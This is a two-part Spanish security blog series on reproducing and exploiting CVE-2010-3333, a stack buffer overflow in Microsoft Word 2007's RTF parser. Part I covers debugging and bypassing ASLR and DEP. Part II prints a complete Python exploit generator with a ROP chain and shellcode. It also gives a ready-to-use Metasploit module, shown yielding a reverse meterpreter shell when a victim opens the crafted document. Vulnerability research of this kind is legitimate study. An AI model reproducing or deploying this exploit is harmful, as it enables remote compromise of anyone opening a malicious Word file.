martes, 22 de enero de 2013

Reproducción y explotación del CVE-2010-3333 - BoF en MS Word (Parte II)

*************************************************************************************************
- Reproducción y explotación del CVE-2010-3333 - BoF en MS Word (Parte I)
- Reproducción y explotación del CVE-2010-3333 - BoF en MS Word (Parte II)
*************************************************************************************************

Después de haber conseguido en la anterior entrada reproducir la vulnerabilidad CVE-2010-3333 en Microsoft Word 2007, nos quedamos en la parte de evasión de la protección DEP. Hoy finalizaremos la serie con la fase final de reproducción de la vulnerabilidad y explotación de la misma.

Una vez que hemos entendido cómo se debería generar la cadena ROP, vamos a aprovecharnos de las facilidades que nos brinda el script mona.py, ya que dispone de una opción para generar automáticamente este tipo de cadenas.

Comando: !mona rop -cpb '\x00' -m 'msxml5.dll'

Con el parámetro “-cpb” eliminaremos de la cadena ROP los valores nulos y con el parámetro “-m” elegimos la librería que utilizaremos para generar la cadena.

image

Así de fácil! ;)

Si recopilamos un poco la información extraída durante la fase de reproducción de la vulnerabilidad, nuestro exploit se asemejaría a la siguiente estructura:

image

A continuación dejo el código fuente del exploit creado con la estructura anterior:

'''
Title: Microsoft Word 2007 RTF Stack Overflow (Bypass ASLR/DEP)
Author: Daniel Romero Perez (@daniel_rome)
Software & Version: Microsoft Word 2007 (12.0.6504.5000) SP2 Spanish
Tested on: Window 7 SP1
Mail: unlearnsecurity[at]gmail[dot]com
Blog: www.unlearningsecurity.com
CVE: CVE-2010-3333
Advisor: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3333
'''

import os

Ini_file = "{\\rtf1{\shp{\sp{\sn pFragments}{\sv 1;4;" # Initialize file
Length = "55" * 26

Ret = "81eb8878" # RETN (ROP NOP) [msxml5.dll]

Padding = "58" * 16
Null = "00" * 4 #Null bytes to bypass CMP instruction

#ROP Chain with MONA (VirtualProtect()) -->> !mona rop -cpb '\x00' -m 'msxml5.dll'
###############################################################
ROP = "c47f8278" # POP EAX # RETN [msxml5.dll]
ROP += "7c118078" # ptr to &VirtualProtect() [IAT msxml5.dll]
ROP += "716e8b78" # MOV EAX,DWORD PTR DS:[EAX] # RETN [msxml5.dll]
ROP += "7c998178" # PUSH EAX # POP ESI # RETN [msxml5.dll]
ROP += "dcb08f78" # POP EBP # RETN [msxml5.dll]
ROP += "52308f78" # & call esp [msxml5.dll]
ROP += "b0118378" # POP EAX # RETN [msxml5.dll]
ROP += "fffdffff" # Value to negate, will become 0x00000201
ROP += "c91a8678" # NEG EAX # RETN [msxml5.dll]
ROP += "9a9b8878" # XCHG EAX,EBX # RETN [msxml5.dll]
ROP += "5eb38178" # POP EAX # RETN [msxml5.dll]
ROP += "c0ffffff" # Value to negate, will become 0x00000040
ROP += "d3378878" # NEG EAX # RETN [msxml5.dll]
ROP += "c2348578" # XCHG EAX,EDX # RETN [msxml5.dll]
ROP += "e5178678" # POP ECX # RETN [msxml5.dll]
ROP += "05249278" # &Writable location [msxml5.dll]
ROP += "1d1a8078" # POP EDI # RETN [msxml5.dll]
ROP += "81eb8878" # RETN (ROP NOP) [msxml5.dll]
ROP += "493b8278" # POP EAX # RETN [msxml5.dll]
ROP += "90909090" # nop
ROP += "0d868178" # PUSHAD # RETN [msxml5.dll]

Nops = "90" * 40

#ShellCode of msfpayload ("Exec calc.exe"), in ASCII mode.
ShellCode = ("dad6d97424f4582bc9ba09ce9947b1"
"3331501783c0040359dd7bb2a509f2"
"3d55ca65b7b0fbb7a3b1ae07a79742"
"e3e503d0812124512f140b628198c7"
"a0836415f56354d60865910ae2374a"
"4151a8ff176ac92f1cd2b14ae2a70b"
"543217071eaa134fbfcbf09383827d"
"67771554b978249816478915668f2d"
"c61dfb4e7b26382da7a3dd952c1306"
"24e0c2cd2a4d808a2e5045a14ad968"
"66db994ea2807aeef36c2c0fe3c891"
"b56ffac6cc2d90195c48dd1a5e534d"
"736fd80204700b67fa3a16c193e2c2"
"50fe1439960797c866fc87b863b80f"
"5019d1e5568ed22f355141b394f4e1"
"56e9")

Junk = "59" * 10000

End_file = "}}}}"

exploit = Ini_file + Length + Ret + Padding + Null + ROP + Nops + ShellCode + Junk + End_file

# Create File
f = open("exploit_cve-2010-3333_word_2007.doc", "wb")
f.write(exploit)
print "Exploit RTF file created!!"
f.close()

Desde el siguiente enlace es posible descargaros el fichero de la prueba de concepto: [POC_ exploit_cve-2010-3333.py]

Si ejecutamos nuestro exploit, conseguimos nuestra preciada calculadora.

image

Fase de explotación:

Si nuestra meta es aprovecharnos de dicha vulnerabilidad para conseguir algún objetivo en concreto (como por ejemplo vulnerar el sistema operativo de nuestras víctimas), es necesario perfeccionar un poco más nuestro exploit y conseguir automatizar un poco más el ataque. Para esto migraremos nuestra prueba de concepto al framework metasploit.

Y como no, el script mona.py también nos facilita la tarea a este tipo de trabajo, ya que mediante el comando !mona skeleton”, nos permite crear una plantilla para metasploit. Al ejecutar el comando nos demandaran que seleccionemos el tipo de formato de plantilla que queremos crear, en nuestro caso seleccionaremos “fileformat”, ya que es el tipo de exploit que estamos creando.

image

Después de introducir el tipo de extensión que queremos crear (introduciremos “doc” ya que es un formato más conocido y Microsoft Word no se basa en la extensión si no en la cabecera que lee del archivo) nos habrá creado una plantilla llamada “msfskeleton.rb”:

image

Ahora sólo es necesario rellenar cada una de los campos indicados y generar la estructura del exploit. A continuación os dejo la plantilla generada, rellena y preparada para utilizar:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)',
'Description' => %q{
This module exploits a stack-based buffer overflow in the handling of the
'pFragments' shape property within the Microsoft Word RTF parser. All versions
of Microsoft Office 2010, 2007, 2003, and XP prior to the release of the
MS10-087 bulletin are vulnerable.

This module does not attempt to exploit the vulnerability via Microsoft Outlook.

The Microsoft Word RTF parser was only used by default in versions of Microsoft
Word itself prior to Office 2007. With the release of Office 2007, Microsoft
began using the Word RTF parser, by default, to handle rich-text messages within
Outlook as well. It was possible to configure Outlook 2003 and earlier to use
the Microsoft Word engine too, but it was not a default setting.

It appears as though Microsoft Office 2000 is not vulnerable. It is unlikely that
Microsoft will confirm or deny this since Office 2000 has reached its support
cycle end-of-life.
},
'License' => MSF_LICENSE,
'Author' =>
[
'wushi of team509', # Original discovery
'Daniel Romero (@daniel_rome)', # MSF Module
],
'References' =>
[
[ 'CVE', '2010-3333' ],
[ 'OSVDB', '69085' ],
[ 'MSB', 'MS10-087' ],
[ 'BID', '44652' ],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=880' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process',
},
'Platform' => 'win',
'Payload' =>
{
'Space' => 512,
'BadChars' => "\x00",
'DisableNops' => false
},

'Targets' =>
[
[ 'Microsoft Office Word 2007 (12.0.6504.5000) SP2 Spanish - Windows 7 SP1',
{
'Ret' => 0x7888eb81, # RETN (ROP NOP) [msxml5.dll]
}
],
],
'DisclosureDate' => 'Nov 09 2010',
'DefaultTarget' => 0))

register_options([OptString.new('FILENAME', [ true, 'The file name.', 'exploit-cve-2010-3333.doc']),], self.class)

end

# ROP Chain with MONA (VirtualProtect()) -->> !mona rop -cpb '\x00' -m 'msxml5.dll'
# ---------------------------------------------------------------------------------
def create_rop_chain()

# rop chain generated with mona.py - www.corelan.be
rop_gadgets =
[
0x78827fc4, # POP EAX # RETN [msxml5.dll]
0x7880117c, # ptr to &VirtualProtect() [IAT msxml5.dll]
0x788b6e71, # MOV EAX,DWORD PTR DS:[EAX] # RETN [msxml5.dll]
0x7881997c, # PUSH EAX # POP ESI # RETN [msxml5.dll]
0x788fb0dc, # POP EBP # RETN [msxml5.dll]
0x788f3052, # & call esp [msxml5.dll]
0x788311b0, # POP EAX # RETN [msxml5.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x78861ac9, # NEG EAX # RETN [msxml5.dll]
0x78889b9a, # XCHG EAX,EBX # RETN [msxml5.dll]
0x7881b35e, # POP EAX # RETN [msxml5.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x788837d3, # NEG EAX # RETN [msxml5.dll]
0x788534c2, # XCHG EAX,EDX # RETN [msxml5.dll]
0x788617e5, # POP ECX # RETN [msxml5.dll]
0x78922405, # &Writable location [msxml5.dll]
0x78801a1d, # POP EDI # RETN [msxml5.dll]
0x7888eb81, # RETN (ROP NOP) [msxml5.dll]
0x78823b49, # POP EAX # RETN [msxml5.dll]
0x90909090, # nop
0x7881860d, # PUSHAD # RETN [msxml5.dll]
].flatten.pack("V*").unpack('H*').first

return rop_gadgets

end

def exploit

esploit = "{\\rtf1{\\shp{\\sp{\\sn pFragments}{\\sv 1;4;" # Ini File

esploit << "55" * 26 # Length

esploit << [target.ret].pack('V').unpack('H*').first # RETN (ROP NOP) [msxml5.dll]

print_status("Target -->> #{[target.name]}")

esploit << "58" * 16 # Padding

esploit << "00" * 4 # Null bytes to bypass CMP instruction

esploit << create_rop_chain() # ROP Chain

esploit << payload.encoded.unpack('H*').first # Payload

esploit << (0..50000).map{ rand(36).to_s(16) }.join # Random data

esploit << "}}}}" # End File

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(esploit)

end
end

Y desde el siguiente enlace podéis descargaros la plantilla: [ms10_087_rtf_stack_overflow.rb]

Para hacer funcionar nuestro módulo, solo hará falta añadirlo en el PATH de metasploit donde se encuentran los módulos de fileformat y cargar de nuevo metasploit.

A continuación podéis observar un ejemplo con el payload de meterpreter reverso.

Generamos el fichero malintencionado:

image

Y al abrir el fichero, podemos observar como la víctima realiza una conexión reversa contra nosotros, consiguiendo así una shell “meterpreter”:

image

Con esto ya tenemos un poco más automatizado nuestro ataque. ;)

Doy por finalizada esta série de dos entradas donde se ha analizado, reproducido y explotado la vulnerabilidad CVE-2010-3333 de Microsoft Word, espero que os haya gustado y os haya sido útil.

Un Saludo!!

martes, 15 de enero de 2013

Reproducción y explotación del CVE-2010-3333 - BoF en MS Word (Parte I)

*************************************************************************************************
- Reproducción y explotación del CVE-2010-3333 - BoF en MS Word (Parte I)
- Reproducción y explotación del CVE-2010-3333 - BoF en MS Word (Parte II)
*************************************************************************************************

Hace ya bastante tiempo me llego un correo electrónico a mi bandeja de SPAM un tanto sospechoso (con archivo adjunto incluido), con afán de investigar un poco más en el asunto lo aparqué y lo apunté en mi “lista de tareas futuras”, esa que nunca se acaba. Y como ya hacia un tiempo que no pasaba por aquí, he decidido retomar ese correo electrónico, echarle un ojo y empezar el año con fuerza ;)

El email venía acompañado de un fichero en formato “.doc” que al abrirlo con un editor hexadecimal nos encontrábamos con lo siguiente:

image

Tal y como se puede observar en la captura anterior dicho fichero no contiene un formato clásico de un documento “DOC”, si no que contiene las cabeceras del formato RTF. Fue entonces cuando me vino a la cabeza la vulnerabilidad que apareció en Noviembre del 2010 y que afectaba a Microsoft Word, provocando un Stack Buffer Overflow en el procesado de los ficheros RTF, la cual fue clasificada como crítica y se le asignó el siguiente CVE: CVE-2010-3333.

Nota: Si es de las primeras veces que leéis temas de exploiting o ingeniería inversa, quizás os interese más empezar por algo más sencillo como: Explotación de Stack Buffer Overflow o Introducción a la ingeniería inversa en x86.

Fase de Reproducción:

Con el fin de poder entender con exactitud cómo funciona dicha vulnerabilidad, centraré éste artículo en el estudio de la misma y como poder explotarla posteriormente.

La vulnerabilidad es posible gracias a un erróneo parseado del atributo “pFragments” del formato RTF. Partiendo de la base que nuestra cabecera fija del fichero debe ser algo similar a la siguiente estructura, “{\rtf1{\shp{\sp{\sn pFragments}{\sv X;Y;”, dónde “X” debe ser un valor decimal diferente a “2, 4 o 8” e “Y” un valor decimal. A partir de aquí vamos a visualizar cómo se comporta winword.exe si seguidamente de esta estructura le añadimos una ristra de valores en hexadecimal. (Hay que tener en cuenta que en el formato RTF han de ponerse los caracteres en su codificación en hexadecimal, por lo que, si queremos introducir una “X” deberemos poner el valor “58”).

 
import os
Ini_file = "{\\rtf1{\shp{\sp{\sn pFragments}{\sv 1;4;"
Padding = "58" * 50000
End_file = "}}}}"
exploit = Ini_file + Padding + End_file
# Create File
f = open("exploit_cve-2010-3333_word_2007.doc", "wb")
f.write(exploit)
print "Exploit RTF file created!!"
f.close()

Si abrimos el fichero mediante Immunity Debugger:

image

Tal y como se puede observar, la aplicación está dando un error de violación de segmento ya que la instrucción señalada no puede acceder al valor del registro “EAX = F592B8B0”,esto es debido a que en instrucciones anteriores, nuestra ristra de “58” está modificando el valor utilizado en EAX. Para llegar a nuestro objetivo vamos a retroceder en el árbol de funciones que llaman a la dirección que nos provoca el error, de este modo estudiaremos qué está pasando.

Debido a que la dirección dónde se está produciendo el error se encuentra asociada a la librería “MSO.DLL”, y ésta tiene activada la protección ASLR, desactivaremos dicha protección mediante la herramienta setdllcharacteristics de Didier Stevens para facilitar la tarea de debugger. (Únicamente se desactivará para facilitar el debug de la aplicación, a la hora de desarrollar el exploit dicha protección será activada de nuevo).

image

Para averiguar dónde se está modificando nuestro valor EAX anteriormente nombrado extraemos el árbol de funciones que llaman a la que produce el error:

image

Si investigamos la rama de la izquierda (sub_32E69BDA, sub_32E69AB6 y sub_32E69973) de menos a más, nos topamos con algo que llama bastante la atención.

1) Sub_32E69973:

image

En la función “sub_32E69973”, predecesora de la que nos devuelve el error, nos topamos con una comparación de cadenas dónde aparece nuestra ristra de “58”s, en el caso que la comparación sea falsa, la aplicación salta a la función dónde nos devuelve el error, ¿pero y si trucamos dichos valores modificándolos a “00000000” y hacemos que la comparación sea verdadera?

image

Bingo!! la aplicación ha sufrido un Stack Buffer Overflow y hemos conseguido sobrescribir el registro EIP. Por lo que, nuestro siguiente objetivo es ver qué valores son los de la instrucción CMP y sustituirlos en la ristra por 0’s.

Para visualizar el valor exacto utilizaremos como ristra la opción pattern_create de mona.py o metasploit, precedida de un entero (55*24) tal y como nos indicaban las especificaciones del formato.

...
Length = "55" * 24
junk = "Aa0Aa1Aa2Aa3Aa4Aa5....q0Aq1Aq2Aq3Aq4Aq5Aq".encode("hex")
...

2) Sub_32E69AB6:

Si introducimos un breakpoint en la función “sub_32E69AB6” nos topamos con la instrucción “CALL DWORD PTR DS: [EAX+1C]”, la cual nos hace saltar a una parte de código bastante interesante.

image

La función memcpy() señalada en el código anterior, es la función “culpable” de copiar parte del fichero a nuestra STACK, y debido a que no se está controlando el tamaño de los bytes a copiar, es posible realizar un Stack Buffer Overflow.

image  

En la captura anterior se puede observar el destino, origen y el tamaño de los bytes que se van a copiar.

Si proseguimos con la ejecución de las funciones, volveremos a encontrarnos con la instrucción de CMP (compare), pero esta vez la cadena que compara con “0x00000000” es “0x61413761”, que decodificado es “a7Aa” (recordad que es Little-endian). Solo nos falta localizar dicha cadena en nuestra ristra de caracteres y sustituirla por zeros.

image

Modificamos el exploit:

...
Length = "55" * 24
Padding = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6A".encode("hex")
Null = "00" * 4
Junk = "a7Aa8Aa9Ab0Ab1A......Aq3Aq4Aq5Aq".encode("hex")
...

Ya hemos conseguido bypassear la instrucción CMP y al proseguir con la ejecución del proceso llegamos a sobrescribir el registro EIP con un nuevo valor “31614130 == hex(‘0Aa1’)”, que coinciden con los valores 3,4,5 y 6 de la variable “Padding”.

image

Ahora que controlamos el registro EIP, solo nos queda introducir a nuestro exploit la ShellCode, pero existe un “problema”, debido a que estamos trabajando sobre el sistema operativo Windows 7 y Microsoft Office 2007 debemos bypassear las protecciones DEP (Data Execution Prevention) y ASLR (Address space layout randomization) para poder ejecutar código.

3) Bypass ASLR

En realidad no podemos llamar evadir ASLR a la técnica que se va a aplicar, ya que únicamente nuestro objetivo va a ser buscar una librería que no disponga de esta protección, y así poder llamar a sus direcciones que se cargarán de forma estática.

Para encontrar dicha librería podemos hacerlo de distintos modos:

1) La herramienta process-explorer de sysinternals nos ofrece dicha información:

image

2) O utilizar el script mona.py y así extraer información de las librerías que carga el proceso winword.exe.

image

Entre todas las librerías que carga el proceso, únicamente existe una que no disponga de la protección ASRL, por lo que, deberemos utilizar esta librería “msxml5.dll” para evadir la siguiente protección.

4) Bypass DEP

En la entrada dónde se vio cómo bypassear la protección DEP con la función SetProcessDEPPolicy(), vimos cómo de una forma sencilla podemos evadir DEP No Permanente, ya que dicha función únicamente nos permite eludir este modo de la protección.

Para ir un poco más allá, hoy utilizaremos la función VirtualProtect(), que nos permite eludir cualquier modo en las que se puede configurar DEP.

De igual modo que se hizo para construir la cadena ROP con la función SetProcessDEPPolicy, nos ayudaremos de los registros y la instrucción PUSHAD para bypassear DEP con la función VirtualProtect().

Un ejemplo de cómo realizar cadenas ROP mediante VirtualProtect(), puede ser el siguiente.

image

Puede resultar extraño el valor del registro EBP, ya que si miramos los parámetros que debemos enviar a la función VirtualProtect(), no debería estar ahí, pero dicha dirección es utilizada para una vez finalizada la función VirtualProtect() se ejecutará esta dirección de memoria, y como nuestro objetivo es llegar a nuestra ShellCode, añadimos la instrucción “Call/Jmp ESP” para saltar a ella.

Con esto finalizamos la primera parte del artículo, pronto volveré con la seguna.

Espero que os haya gustado, Un Saludo!!